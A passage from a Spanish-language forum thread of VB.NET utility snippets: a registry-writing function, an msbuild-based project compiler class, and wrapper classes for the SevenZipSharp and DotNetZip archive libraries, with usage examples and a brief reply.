  3.    ' [ Reg Set Value Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Reg_Set_Value("HKCU\Software\MyProgram", "Value name", "Data", Microsoft.Win32.RegistryValueKind.String)              ' Create/Replace "Value Name" with "Data" as string data
  9.    ' Reg_Set_Value("HKEY_CURRENT_USER\Software\MyProgram\", "Value name", "Data", Microsoft.Win32.RegistryValueKind.String) ' Create/Replace "Value Name" with "Data" as string data
  10.  
  11.  
  12.    Public Function Reg_Set_Value(ByVal RegKey As String, _
  13.                                  ByVal RegValue As String, _
  14.                                  ByVal RegData As String, _
  15.                                  ByVal RegDataType As Microsoft.Win32.RegistryValueKind) As Boolean
  16.  
  17.        Dim RootKey As String = Nothing
  18.        Dim KeyPath As String = Nothing
  19.  
  20.        ' Gets the RootKey
  21.        Select Case RegKey.ToUpper.Split("\").First
  22.            Case "HKCR", "HKEY_CLASSES_ROOT" : RootKey = "HKEY_CLASSES_ROOT"""
  23.            Case "HKCC", "HKEY_CURRENT_CONFIG" : RootKey = "HKEY_CURRENT_CONFIG"
  24.            Case "HKCU", "HKEY_CURRENT_USER" : RootKey = "HKEY_CURRENT_USER"
  25.            Case "HKLM", "HKEY_LOCAL_MACHINE" : RootKey = "HKEY_LOCAL_MACHINE"
  26.            Case "HKEY_PERFORMANCE_DATA" : RootKey = "HKEY_PERFORMANCE_DATA"
  27.            Case Else : Return False
  28.        End Select
  29.  
  30.        ' Gets the KeyPath
  31.        For i As Integer = 1 To RegKey.Split("\").Length - 1 : KeyPath += RegKey.Split("\")(i) & "\" : Next
  32.        KeyPath = KeyPath.Substring(0, KeyPath.LastIndexOf("\"))
  33.        KeyPath = RootKey & "\" & KeyPath
  34.  
  35.        Try
  36.            If RegDataType = Microsoft.Win32.RegistryValueKind.Binary Then
  37.                My.Computer.Registry.SetValue(KeyPath, RegValue, System.Text.Encoding.ASCII.GetBytes(RegData), Microsoft.Win32.RegistryValueKind.Binary)
  38.            Else
  39.                My.Computer.Registry.SetValue(KeyPath, RegValue, RegData, RegDataType)
  40.            End If
  41.            Return True
  42.        Catch ex As Exception
  43.            ' Throw New Exception(ex.Message)
  44.            Return False
  45.        End Try
  46.  
  47.    End Function
  48.  
  49. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 7 Mayo 2013, 15:13 pm
Una class para compilar otros proyectos en tiempo de ejecución.

Código:
#Region " FrameWork Compiler "

' [ FrameWork Compiler Function ]
'
' // By Elektro H@cker
'
' Examples :
' FrameWorkCompiler.FW_Compile("C:\Projects\Project.vbj", FrameWorkCompiler.CompilerVersion.FW_3_5_x86)
' FrameWorkCompiler.FW_Compile("C:\Projects\Project.sln", FrameWorkCompiler.CompilerVersion.FW_4_0_x64)

#Region " FrameWork Compiler Class "

Public Class FrameWorkCompiler

    Shared FrameWork_Location As String = Nothing ' Directory location of selected FrameWork version

    ''' <summary>
    ''' The FrameWork compiler version.
    ''' </summary>
    Public Enum CompilerVersion
        FW_1_0_x86
        FW_1_1_x86
        FW_2_0_x86
        FW_3_0_x86
        FW_3_5_x86
        FW_4_0_x86
        FW_2_0_x64
        FW_3_0_x64
        FW_3_5_x64
        FW_4_0_x64
    End Enum

    ''' <summary>
    ''' Compile a .NET project/solution.
    ''' </summary>
    Public Shared Function FW_Compile(ByVal SolutionFile As String, ByVal FrameWorkCompiler As CompilerVersion) As Boolean

        Select Case FrameWorkCompiler
            Case CompilerVersion.FW_1_0_x86 : FrameWork_Location = IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Microsoft.NET\Framework\v1.0.3705")
            Case CompilerVersion.FW_1_1_x86 : FrameWork_Location = IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Microsoft.NET\Framework\v1.1.4322")
            Case CompilerVersion.FW_2_0_x86 : FrameWork_Location = IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Microsoft.NET\Framework\v2.0.50727")
            Case CompilerVersion.FW_3_0_x86 : FrameWork_Location = IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Microsoft.NET\Framework\v3.0")
            Case CompilerVersion.FW_3_5_x86 : FrameWork_Location = IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Microsoft.NET\Framework\v3.5")
            Case CompilerVersion.FW_4_0_x86 : FrameWork_Location = IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Microsoft.NET\Framework\v4.0.30319")
            Case CompilerVersion.FW_2_0_x64 : FrameWork_Location = IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Microsoft.NET\Framework64\v2.0.50727")
            Case CompilerVersion.FW_3_0_x64 : FrameWork_Location = IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Microsoft.NET\Framework64\v3.0")
            Case CompilerVersion.FW_3_5_x64 : FrameWork_Location = IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Microsoft.NET\Framework64\v3.5")
            Case CompilerVersion.FW_4_0_x64 : FrameWork_Location = IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Microsoft.NET\Framework64\v4.0.30319")
            Case Else : Return False
        End Select

        Try

            Dim FWCompiler As New Process()
            Dim FWCompiler_Info As New ProcessStartInfo()

            FWCompiler_Info.FileName = IO.Path.Combine(FrameWork_Location, "msbuild.exe")
            FWCompiler_Info.Arguments = "/nologo /noautoresponse /verbosity:quiet " & """" & SolutionFile & """"
            FWCompiler_Info.UseShellExecute = False
            FWCompiler_Info.CreateNoWindow = True
            FWCompiler_Info.WindowStyle = ProcessWindowStyle.Hidden
            FWCompiler_Info.RedirectStandardOutput = True
            FWCompiler.StartInfo = FWCompiler_Info
            FWCompiler.Start()
            FWCompiler.WaitForExit()

            ' Dim ErrorOutput As String = FWCompiler.StandardOutput.ReadToEnd()
            ' MsgBox(ErrorOutput)

            If FWCompiler.ExitCode <> 0 Then
                Return False
            Else
                Return True
            End If

        Catch ex As Exception
            ' MsgBox(ex.Message)
            Return False
        End Try

    End Function

End Class

#End Region

#End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: ABDERRAMAH en 7 Mayo 2013, 16:46 pm
Mother of god, que bueno ese último. Seguro que se me ocurre alguna aplicación...


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 7 Mayo 2013, 19:17 pm
(http://img138.imageshack.us/img138/406/prtscrcapturef.jpg)

Una class para usar SevenZipSharp de forma sencilla para "comprimir/descomprimir/Crear un SFX/obtener información de zips" y mostrando el progreso de las operaciones.

Código
  1. #Region " SevenZipSharp Class "
  2.  
  3. ' [ SevenZipSharp Functions ]
  4. '
  5. ' // By Elektro H@cker
  6. '
  7. ' Instructions :
  8. ' 1. Add a reference to "SevenZipSharp.dll".
  9. ' 2. Add the "7z.dll" or "7z64.dll" files to the project.
  10. ' 3. Add the "7z.sfx" and "7zCon.sfx" files to the project for SFX compression.
  11. '
  12. ' Examples :
  13. '
  14. ' --------
  15. ' Extract:
  16. ' --------
  17. ' SevenZipSharp.Extract("C:\File.7zip")                  ' Will be extracted in the same dir.
  18. ' SevenZipSharp.Extract("C:\File.7zip", "C:\Extracted\") ' Will be extracted in "C:\Extracted\".
  19. ' SevenZipSharp.Extract("C:\File.7zip", , "Password")    ' Will be extracted with the given password.
  20. '
  21. ' --------
  22. ' Compress:
  23. ' ---------
  24. ' SevenZipSharp.Compress("C:\File.txt")                          ' File will be compressed in the same dir.
  25. ' SevenZipSharp.Compress("C:\File.txt", "C:\Compressed\File.7z") ' File will be compressed in "C:\Compressed\".
  26. ' SevenZipSharp.Compress("C:\Folder\", , , , , , "Password")     ' Folder will be compressed with the given password.
  27. ' SevenZipSharp.Compress("C:\File.txt", , OutArchiveFormat.Zip, , CompressionMethod.Lzma, CompressionLevel.Ultra)
  28. '
  29. ' --------
  30. ' Compress SFX:
  31. ' -------------
  32. ' SevenZipSharp.Compress_SFX("C:\File.txt")                           ' File will be compressed in the same dir.
  33. ' SevenZipSharp.Compress_SFX("C:\File.txt", "C:\Compressed\File.exe") ' File will be compressed in "C:\Compressed\".
  34. ' SevenZipSharp.Compress_SFX("C:\Folder\", , , , , , , "Password")    ' Folder will be compressed with the given password.
  35. ' SevenZipSharp.Compress_SFX("C:\File.txt", , SevenZipSharp_SFX_Module.Console, CompressionLevel.Fast)
  36. '
  37. ' --------
  38. ' File Info:
  39. ' ----------
  40. ' MsgBox(SevenZipSharp.FileInfo("C:\Test.7z", SevenZip_Info.Format))
  41. ' For Each FileName In SevenZipSharp.FileInfo("C:\Test.zip", SevenZip_Info.Internal_Files_FileNames) : MsgBox(FileName) : Next
  42. '
  43. ' ------------
  44. ' * Progress *
  45. ' ------------
  46. ' Dim WithEvents SevenZipProgress_Timer As New Timer
  47. ' Private Sub SevenZipProgress_Timer_Tick(sender As Object, e As EventArgs) Handles SevenZipProgress_Timer.Tick
  48. '     ProgressBar1.Value = SevenZipSharp.SevenZip_Current_Progress
  49. '     If ProgressBar1.Value = 100 Then
  50. '         ' ...
  51. '     End If
  52. ' End Sub
  53.  
  54. Imports SevenZip
  55.  
  56. Public Class SevenZipSharp
  57.  
  58.    Public Shared SevenZipDLL As String = "7z.dll"
  59.    Public Shared SevenZip_Current_Progress As Short = 0
  60.  
  61. #Region " SevenZipSharp Extract "
  62.  
  63.    Public Shared Function Extract(ByVal InputFile As String, _
  64.                                           Optional ByVal OutputDir As String = Nothing, _
  65.                                           Optional ByVal Password As String = "Nothing") As Boolean
  66.        SevenZip_Current_Progress = 0
  67.  
  68.        Try
  69.            ' Set library path
  70.            SevenZipExtractor.SetLibraryPath(SevenZipDLL)
  71.  
  72.            ' Create extractor and specify the file to extract
  73.            Dim Extractor As SevenZipExtractor = New SevenZipExtractor(InputFile, Password)
  74.  
  75.            ' Specify the output path where the files will be extracted
  76.            If OutputDir Is Nothing Then OutputDir = My.Computer.FileSystem.GetFileInfo(InputFile).DirectoryName
  77.  
  78.            ' Add Progress Handler
  79.            AddHandler Extractor.Extracting, AddressOf SevenZipSharp_Extract_Progress
  80.  
  81.            ' Check for password matches
  82.            If Extractor.Check() Then
  83.                ' Start the extraction
  84.                Extractor.BeginExtractArchive(OutputDir)
  85.            Else
  86.                Return False ' Bad password
  87.            End If
  88.  
  89.            Return True ' File extracted
  90.  
  91.            Extractor.Dispose()
  92.  
  93.        Catch ex As Exception
  94.            'Return False ' File not extracted
  95.            Throw New Exception(ex.Message)
  96.        End Try
  97.  
  98.    End Function
  99.  
  100.    Private Shared Sub SevenZipSharp_Extract_Progress(ByVal sender As Object, ByVal e As ProgressEventArgs)
  101.        SevenZip_Current_Progress = e.PercentDone
  102.        ' If e.PercentDone = 100 Then SevenZip_Current_Progress = 0
  103.    End Sub
  104.  
  105. #End Region
  106.  
  107. #Region " SevenZipSharp Compress "
  108.  
  109.    Public Shared Function Compress(ByVal Input_DirOrFile As String, _
  110.                                       Optional ByVal OutputFileName As String = Nothing, _
  111.                                       Optional ByVal Format As OutArchiveFormat = OutArchiveFormat.SevenZip, _
  112.                                       Optional ByVal CompressionMode As CompressionMode = CompressionMode.Create, _
  113.                                       Optional ByVal CompressionMethod As CompressionMethod = CompressionMethod.Lzma, _
  114.                                       Optional ByVal CompressionLevel As CompressionLevel = CompressionLevel.Normal, _
  115.                                       Optional ByVal VolumeSize As Long = Nothing, _
  116.                                       Optional ByVal Password As String = Nothing) As Boolean
  117.        SevenZip_Current_Progress = 0
  118.  
  119.        Try
  120.            ' Set library path
  121.            SevenZipCompressor.SetLibraryPath(SevenZipDLL)
  122.  
  123.            ' Create compressor
  124.            Dim Compressor As SevenZipCompressor = New SevenZipCompressor()
  125.  
  126.            ' Set compression parameters
  127.            Compressor.CompressionLevel = CompressionLevel ' Archiving compression level.
  128.            Compressor.CompressionMethod = CompressionMethod ' Compression method
  129.            Compressor.ArchiveFormat = Format ' Compression file format
  130.            Compressor.CompressionMode = CompressionMode ' Append files to compressed file or overwrite the compressed file.
  131.            Compressor.DirectoryStructure = True ' Preserve the directory structure.
  132.            Compressor.IncludeEmptyDirectories = True ' Include empty directories to archives.
  133.            Compressor.ScanOnlyWritable = False ' Compress files only open for writing.
  134.            Compressor.EncryptHeaders = False ' Encrypt 7-Zip archive headers
  135.            Compressor.TempFolderPath = System.IO.Path.GetTempPath() ' Temporary folder path
  136.            Compressor.FastCompression = False ' Compress as fast as possible, without calling events.
  137.            Compressor.PreserveDirectoryRoot = True ' Preserve the directory root for CompressDirectory.
  138.            Compressor.ZipEncryptionMethod = ZipEncryptionMethod.ZipCrypto ' Encryption method for zip archives.
  139.            Compressor.DefaultItemName = "File.7z" ' Item name used when an item to be compressed has no name, for example, when you compress a MemoryStream instance
  140.  
  141.            If Not VolumeSize = Nothing Then
  142.                If Format = OutArchiveFormat.SevenZip Then Compressor.VolumeSize = VolumeSize _
  143.                Else Throw New Exception("Multi volume option is only avaliable for 7zip format")
  144.            End If
  145.  
  146.            ' Get File extension
  147.            Dim CompressedFileExtension As String = Nothing
  148.            Select Case Compressor.ArchiveFormat
  149.                Case OutArchiveFormat.SevenZip : CompressedFileExtension = ".7z"
  150.                Case OutArchiveFormat.BZip2 : CompressedFileExtension = ".bz"
  151.                Case OutArchiveFormat.GZip : CompressedFileExtension = ".gzip"
  152.                Case OutArchiveFormat.Tar : CompressedFileExtension = ".tar"
  153.                Case OutArchiveFormat.XZ : CompressedFileExtension = ".xz"
  154.                Case OutArchiveFormat.Zip : CompressedFileExtension = ".zip"
  155.            End Select
  156.  
  157.            ' Add Progress Handler
  158.            AddHandler Compressor.Compressing, AddressOf SevenZipSharp_Compress_Progress
  159.  
  160.            ' Removes the end slash ("\") if given for a directory
  161.            If Input_DirOrFile.EndsWith("\") Then Input_DirOrFile = Input_DirOrFile.Substring(0, Input_DirOrFile.Length - 1)
  162.  
  163.            ' Generate the OutputFileName if any is given.
  164.            If OutputFileName Is Nothing Then _
  165.                OutputFileName = (My.Computer.FileSystem.GetFileInfo(Input_DirOrFile).DirectoryName & "\" & (Input_DirOrFile.Split("\").Last) & CompressedFileExtension).Replace("\\", "\")
  166.  
  167.            ' Check if given argument is Dir or File ...then start the compression
  168.            If IO.Directory.Exists(Input_DirOrFile) Then ' Is a Dir
  169.                If Not Password Is Nothing Then
  170.                    Compressor.CompressDirectory(Input_DirOrFile, OutputFileName, True, Password)
  171.                Else
  172.                    Compressor.CompressDirectory(Input_DirOrFile, OutputFileName, True)
  173.                End If
  174.            ElseIf IO.File.Exists(Input_DirOrFile) Then ' Is a File
  175.                If Not Password Is Nothing Then
  176.                    Compressor.CompressFilesEncrypted(OutputFileName, Password, Input_DirOrFile)
  177.                Else
  178.                    Compressor.CompressFiles(OutputFileName, Input_DirOrFile)
  179.                End If
  180.            End If
  181.  
  182.        Catch ex As Exception
  183.            'Return False ' File not compressed
  184.            Throw New Exception(ex.Message)
  185.        End Try
  186.  
  187.        Return True ' File compressed
  188.  
  189.    End Function
  190.  
  191.    Private Shared Sub SevenZipSharp_Compress_Progress(ByVal sender As Object, ByVal e As ProgressEventArgs)
  192.        SevenZip_Current_Progress = e.PercentDone
  193.        ' If e.PercentDone = 100 Then SevenZip_Current_Progress = 0
  194.    End Sub
  195.  
  196. #End Region
  197.  
  198. #Region " SevenZipSharp Compress SFX "
  199.  
  200.    Enum SevenZipSharp_SFX_Module
  201.        Normal
  202.        Console
  203.    End Enum
  204.  
  205.    Public Shared Function Compress_SFX(ByVal Input_DirOrFile As String, _
  206.                                       Optional ByVal OutputFileName As String = Nothing, _
  207.                                       Optional ByVal SFX_Module As SevenZipSharp_SFX_Module = SevenZipSharp_SFX_Module.Normal, _
  208.                                       Optional ByVal CompressionLevel As CompressionLevel = CompressionLevel.Normal, _
  209.                                       Optional ByVal Password As String = Nothing) As Boolean
  210.        SevenZip_Current_Progress = 0
  211.  
  212.        ' Create the .7z file
  213.        Try
  214.            ' Set library path
  215.            SevenZipCompressor.SetLibraryPath(SevenZipDLL)
  216.  
  217.            ' Create compressor
  218.            Dim Compressor As SevenZipCompressor = New SevenZipCompressor()
  219.  
  220.            ' Set compression parameters
  221.            Compressor.CompressionLevel = CompressionLevel ' Archiving compression level.
  222.            Compressor.CompressionMethod = CompressionMethod.Lzma ' Compression Method
  223.            Compressor.ArchiveFormat = OutArchiveFormat.SevenZip ' Compression file format
  224.            Compressor.CompressionMode = CompressionMode.Create ' Append files to compressed file or overwrite the compressed file.
  225.            Compressor.DirectoryStructure = True ' Preserve the directory structure.
  226.            Compressor.IncludeEmptyDirectories = True ' Include empty directories to archives.
  227.            Compressor.ScanOnlyWritable = False ' Compress files only open for writing.
  228.            Compressor.EncryptHeaders = False ' Encrypt 7-Zip archive headers
  229.            Compressor.TempFolderPath = System.IO.Path.GetTempPath() ' Temporary folder path
  230.            Compressor.FastCompression = False ' Compress as fast as possible, without calling events.
  231.            Compressor.PreserveDirectoryRoot = True ' Preserve the directory root for CompressDirectory.
  232.            Compressor.ZipEncryptionMethod = ZipEncryptionMethod.ZipCrypto ' Encryption method for zip archives.
  233.            Compressor.DefaultItemName = "File.7z" ' Item name used when an item to be compressed has no name, for example, when you compress a MemoryStream instance
  234.  
  235.            ' Add Progress Handler
  236.            AddHandler Compressor.Compressing, AddressOf SevenZipSharp_Compress_Progress
  237.  
  238.            ' Removes the end slash ("\") if given for a directory
  239.            If Input_DirOrFile.EndsWith("\") Then Input_DirOrFile = Input_DirOrFile.Substring(0, Input_DirOrFile.Length - 1)
  240.  
  241.            ' Generate the OutputFileName if any is given.
  242.            If OutputFileName Is Nothing Then
  243.                OutputFileName = (My.Computer.FileSystem.GetFileInfo(Input_DirOrFile).DirectoryName & "\" & (Input_DirOrFile.Split("\").Last) & ".tmp").Replace("\\", "\")
  244.            Else
  245.                OutputFileName = OutputFileName & ".tmp"
  246.            End If
  247.  
  248.            ' Check if given argument is Dir or File ...then start the compression
  249.            If IO.Directory.Exists(Input_DirOrFile) Then ' Is a Dir
  250.                If Not Password Is Nothing Then
  251.                    Compressor.CompressDirectory(Input_DirOrFile, OutputFileName, True, Password)
  252.                Else
  253.                    Compressor.CompressDirectory(Input_DirOrFile, OutputFileName, True)
  254.                End If
  255.            ElseIf IO.File.Exists(Input_DirOrFile) Then ' Is a File
  256.                If Not Password Is Nothing Then
  257.                    Compressor.CompressFilesEncrypted(OutputFileName, Password, Input_DirOrFile)
  258.                Else
  259.                    Compressor.CompressFiles(OutputFileName, Input_DirOrFile)
  260.                End If
  261.            End If
  262.  
  263.            ' Create the SFX file
  264.            ' Create the SFX compressor
  265.            Dim compressorSFX As SevenZipSfx = New SevenZipSfx(SfxModule.Default)
  266.            ' Set SFX Module path
  267.            If SFX_Module = SevenZipSharp_SFX_Module.Normal Then
  268.                compressorSFX.ModuleFileName = ".\7z.sfx"
  269.            ElseIf SFX_Module = SevenZipSharp_SFX_Module.Console Then
  270.                compressorSFX.ModuleFileName = ".\7zCon.sfx"
  271.            End If
  272.            ' Start the compression
  273.            ' Generate the OutputFileName if any is given.
  274.            Dim SFXOutputFileName As String
  275.            If OutputFileName.ToLower.EndsWith(".exe.tmp") Then
  276.                SFXOutputFileName = OutputFileName.Substring(0, OutputFileName.Length - 4)
  277.            Else
  278.                SFXOutputFileName = OutputFileName.Substring(0, OutputFileName.Length - 4) & ".exe"
  279.            End If
  280.  
  281.            compressorSFX.MakeSfx(OutputFileName, SFXOutputFileName)
  282.            ' Delete the 7z tmp file
  283.            Try : IO.File.Delete(OutputFileName) : Catch : End Try
  284.  
  285.        Catch ex As Exception
  286.            'Return False ' File not compressed
  287.            Throw New Exception(ex.Message)
  288.        End Try
  289.  
  290.        Return True ' File compressed
  291.  
  292.    End Function
  293.  
  294.    Private Shared Sub SevenZipSharp_Compress_SFX_Progress(ByVal sender As Object, ByVal e As ProgressEventArgs)
  295.        SevenZip_Current_Progress = e.PercentDone
  296.        ' If e.PercentDone = 100 Then SevenZip_Current_Progress = 0
  297.    End Sub
  298.  
  299. #End Region
  300.  
  301. #Region " SevenZipSharp FileInfo "
  302.  
  303.    Enum File_Info
  304.        FileName
  305.        Format
  306.        Size_In_Bytes
  307.        Internal_Files_FileNames
  308.        Total_Internal_Files
  309.    End Enum
  310.  
  311.    Public Shared Function FileInfo(ByVal InputFile As String, ByVal Info As File_Info)
  312.  
  313.        Try
  314.            ' Set library path
  315.            SevenZip.SevenZipExtractor.SetLibraryPath(SevenZipDLL)
  316.  
  317.            ' Create extractor and specify the file to extract
  318.            Dim Extractor As SevenZip.SevenZipExtractor = New SevenZip.SevenZipExtractor(InputFile)
  319.  
  320.            ' Return info
  321.            Select Case Info
  322.  
  323.                Case File_Info.FileName
  324.                    Return Extractor.FileName
  325.  
  326.                Case File_Info.Format
  327.                    Return Extractor.Format
  328.  
  329.                Case File_Info.Size_In_Bytes
  330.                    Return Extractor.PackedSize
  331.  
  332.                Case File_Info.Total_Internal_Files
  333.                    Return Extractor.FilesCount
  334.  
  335.                Case File_Info.Internal_Files_FileNames
  336.                    Dim FileList As New List(Of String)
  337.                    For Each Internal_File In Extractor.ArchiveFileData
  338.                        FileList.Add(Internal_File.FileName)
  339.                    Next
  340.                    Return FileList
  341.  
  342.                Case Else
  343.                    Return Nothing
  344.  
  345.            End Select
  346.  
  347.            Extractor.Dispose()
  348.  
  349.        Catch ex As Exception
  350.            ' Return nothing
  351.            Throw New Exception(ex.Message)
  352.        End Try
  353.  
  354.    End Function
  355.  
  356. #End Region
  357.  
  358. End Class
  359.  
  360. #End Region
  361.  




(http://img138.imageshack.us/img138/406/prtscrcapturef.jpg)


Una class para usar DotNetZip de forma sencilla para "comprimir/descomprimir/Crear un SFX" y mostrando el progreso en las operaciones.

Código
  1. #Region " DotNetZip Class "
  2.  
  3. ' [ DotNetZip Functions ]
  4. '
  5. ' // By Elektro H@cker
  6. '
  7. ' Instructions :
  8. ' 1. Add a reference to "Ionic.Zip.dll".
  9. '
  10. ' Examples :
  11. '
  12. ' --------
  13. ' Extract:
  14. ' --------
  15. ' DotNetZip_Extract("C:\File.zip")
  16. ' DotNetZip_Extract("C:\File.zip", "C:\Folder\Test\", , "MyPassword")
  17. '
  18. ' ---------
  19. ' Compress:
  20. ' ---------
  21. ' DotNetZip_Compress("C:\File.txt")
  22. ' DotNetZip_Compress("C:\Folder")
  23. ' DotNetZip_Compress("C:\Folder", "C:\Folder\Test.zip", , CompressionLevel.BestCompression, "Password", EncryptionAlgorithm.WinZipAes256)
  24. '
  25. ' -------------
  26. ' Compress SFX:
  27. ' -------------
  28. ' DotNetZip_Compress_SFX("C:\File.txt")
  29. ' DotNetZip_Compress_SFX("C:\Folder")
  30. '
  31. ' DotNetZip_Compress_SFX( _
  32. '    "C:\File.txt", "C:\Test.exe", , CompressionLevel.BestCompression, _
  33. '    "MyPassword", EncryptionAlgorithm.WinZipAes256, , , _
  34. '    ExtractExistingFileAction.OverwriteSilently, , , , _
  35. '    System.IO.Path.GetFileName("notepad.exe") _
  36. ' )
  37. '
  38. ' ------------
  39. ' * Progress *
  40. ' ------------
  41. ' Dim WithEvents DotNetZip_Progress_Timer As New Timer
  42. ' Private Sub DotNetZip_Progress_Timer_Tick(sender As Object, e As EventArgs) Handles DotNetZip_Progress_Timer.Tick
  43. '    Label1.Text = DotNetZip.CurrentFileName
  44. '    ProgressBar1.Value = DotNetZip.DotNetZip_Current_Progress
  45. '    If ProgressBar1.Value = 100 Then
  46. '       ' ...
  47. '   End If
  48. ' End Sub
  49.  
  50. Imports Ionic.Zip
  51. Imports Ionic.Zlib
  52.  
  53. Public Class DotNetZip
  54.  
  55. #Region " DotNetZip Extract "
  56.  
  57.    Public Shared DotNetZip_Current_Progress As Short = 0
  58.    Public Shared ZipFileCount As Long = 0
  59.    Public Shared ExtractedFileCount As Long = 0
  60.    Public Shared CurrentFileName As String = String.Empty
  61.  
  62.    Public Shared Function Extract(ByVal InputFile As String, _
  63.                                       Optional ByVal OutputDir As String = Nothing, _
  64.                                       Optional ByVal Overwrite As ExtractExistingFileAction = ExtractExistingFileAction.DoNotOverwrite, _
  65.                                       Optional ByVal Password As String = "Nothing" _
  66.                                     ) As Boolean
  67.  
  68.        DotNetZip_Current_Progress = 0
  69.        ZipFileCount = 0
  70.        ExtractedFileCount = 0
  71.        CurrentFileName = String.Empty
  72.  
  73.        Try
  74.            ' Create Extractor
  75.            Dim Extractor As ZipFile = ZipFile.Read(InputFile)
  76.  
  77.            ' Set Extractor parameters
  78.            Extractor.Password = Password ' Zip Password
  79.            Extractor.TempFileFolder = System.IO.Path.GetTempPath() ' Temp folder for operations
  80.            Extractor.ZipErrorAction = ZipErrorAction.Throw
  81.  
  82.            ' Specify the output path where the files will be extracted
  83.            If OutputDir Is Nothing Then OutputDir = My.Computer.FileSystem.GetFileInfo(InputFile).DirectoryName
  84.  
  85.            ' Add Progress
  86.            AddHandler Extractor.ExtractProgress, AddressOf DotNetZip_Extract_Progress ' Progress Handler
  87.            For Each Entry As ZipEntry In Extractor.Entries
  88.                Application.DoEvents()
  89.                ZipFileCount += 1
  90.            Next ' Total bytes size of Zip
  91.            ZipFileCount = Extractor.Entries.Count ' Total files inside Zip
  92.  
  93.            ' Start the extraction
  94.            For Each Entry As ZipEntry In Extractor.Entries
  95.                Application.DoEvents()
  96.                Entry.Extract(OutputDir, Overwrite)
  97.            Next
  98.  
  99.            ZipFileCount = 0 : ExtractedFileCount = 0 ' Reset vars
  100.            Extractor.Dispose()
  101.            Return True ' File Extracted
  102.  
  103.        Catch ex As Exception
  104.            ' Return False ' File not extracted
  105.            MsgBox(ex.Message)
  106.            Throw New Exception(ex.Message)
  107.        End Try
  108.  
  109.    End Function
  110.  
  111.    Private Shared Sub DotNetZip_Extract_Progress(ByVal sender As Object, ByVal e As ExtractProgressEventArgs)
  112.  
  113.        If e.EventType = ZipProgressEventType.Extracting_BeforeExtractEntry Then
  114.            CurrentFileName = e.CurrentEntry.FileName
  115.            ExtractedFileCount += 1
  116.            DotNetZip_Current_Progress = ((100 / ZipFileCount) * ExtractedFileCount)
  117.        ElseIf e.EventType = ZipProgressEventType.Extracting_AfterExtractEntry Then
  118.            If ExtractedFileCount = ZipFileCount Then
  119.                'MessageBox.Show("Extraction Done: " & vbNewLine & _
  120.                '                             e.ArchiveName) ' Uncompression finished
  121.            End If
  122.        End If
  123.  
  124.    End Sub
  125.  
  126. #End Region
  127.  
  128. #Region " DotNetZip Compress "
  129.  
  130.    Public Shared Function Compress(ByVal Input_DirOrFile As String, _
  131.                                      Optional ByVal OutputFileName As String = Nothing, _
  132.                                      Optional ByVal CompressionMethod As CompressionMethod = CompressionMethod.None, _
  133.                                      Optional ByVal CompressionLevel As CompressionLevel = CompressionLevel.Default, _
  134.                                      Optional ByVal Password As String = Nothing, _
  135.                                      Optional ByVal Encrypt_Password As EncryptionAlgorithm = EncryptionAlgorithm.None _
  136.                                    ) As Boolean
  137.  
  138.        DotNetZip_Current_Progress = 0
  139.        ZipFileCount = 0
  140.        ExtractedFileCount = 0
  141.        CurrentFileName = String.Empty
  142.  
  143.        Try
  144.            ' Create compressor
  145.            Dim Compressor As ZipFile = New ZipFile
  146.  
  147.            ' Set compression parameters
  148.            Compressor.CompressionLevel = CompressionLevel ' Archiving compression level.
  149.            Compressor.CompressionMethod = CompressionMethod ' Compression method
  150.            Compressor.Password = Password ' Zip Password
  151.            Compressor.TempFileFolder = System.IO.Path.GetTempPath() ' Temp folder for operations
  152.  
  153.            If Password Is Nothing AndAlso Not Encrypt_Password = EncryptionAlgorithm.None Then _
  154.                 Compressor.Encryption = EncryptionAlgorithm.None _
  155.            Else Compressor.Encryption = Encrypt_Password ' Encryption for Zip password.
  156.  
  157.            ' Add Progress Handler
  158.            AddHandler Compressor.SaveProgress, AddressOf DotNetZip_Compress_Progress
  159.  
  160.            ' Removes the end slash ("\") if is given for a directory.
  161.            If Input_DirOrFile.EndsWith("\") Then Input_DirOrFile = Input_DirOrFile.Substring(0, Input_DirOrFile.Length - 1)
  162.  
  163.            ' Generate the OutputFileName if any is given.
  164.            If OutputFileName Is Nothing Then _
  165.                OutputFileName = (My.Computer.FileSystem.GetFileInfo(Input_DirOrFile).DirectoryName & "\" & (Input_DirOrFile.Split("\").Last) & ".zip").Replace("\\", "\")
  166.  
  167.            ' Check if given argument is Dir or File ...then start the compression
  168.            If IO.Directory.Exists(Input_DirOrFile) Then ' It's a Dir
  169.                Compressor.AddDirectory(Input_DirOrFile)
  170.            ElseIf IO.File.Exists(Input_DirOrFile) Then ' It's a File
  171.                Compressor.AddFile(Input_DirOrFile)
  172.            End If
  173.  
  174.            Compressor.Save(OutputFileName)
  175.            Compressor.Dispose()
  176.  
  177.        Catch ex As Exception
  178.            ' Return False ' File not compressed
  179.            MsgBox(ex.Message)
  180.            ' Throw New Exception(ex.Message)
  181.        End Try
  182.  
  183.        Return True ' File compressed
  184.  
  185.    End Function
  186.  
  187.    Private Shared Sub DotNetZip_Compress_Progress(ByVal sender As Object, ByVal e As SaveProgressEventArgs)
  188.        Application.DoEvents()
  189.  
  190.        If e.EventType = ZipProgressEventType.Saving_Started Then
  191.        ElseIf e.EventType = ZipProgressEventType.Saving_BeforeWriteEntry Then
  192.            CurrentFileName = e.CurrentEntry.FileName ' Input filename to be compressed
  193.            DotNetZip_Current_Progress = ((100 / e.EntriesTotal) * e.EntriesSaved + 1)
  194.        ElseIf e.EventType = ZipProgressEventType.Saving_Completed Then
  195.            DotNetZip_Current_Progress = 100
  196.        End If
  197.  
  198.    End Sub
  199.  
  200. #End Region
  201.  
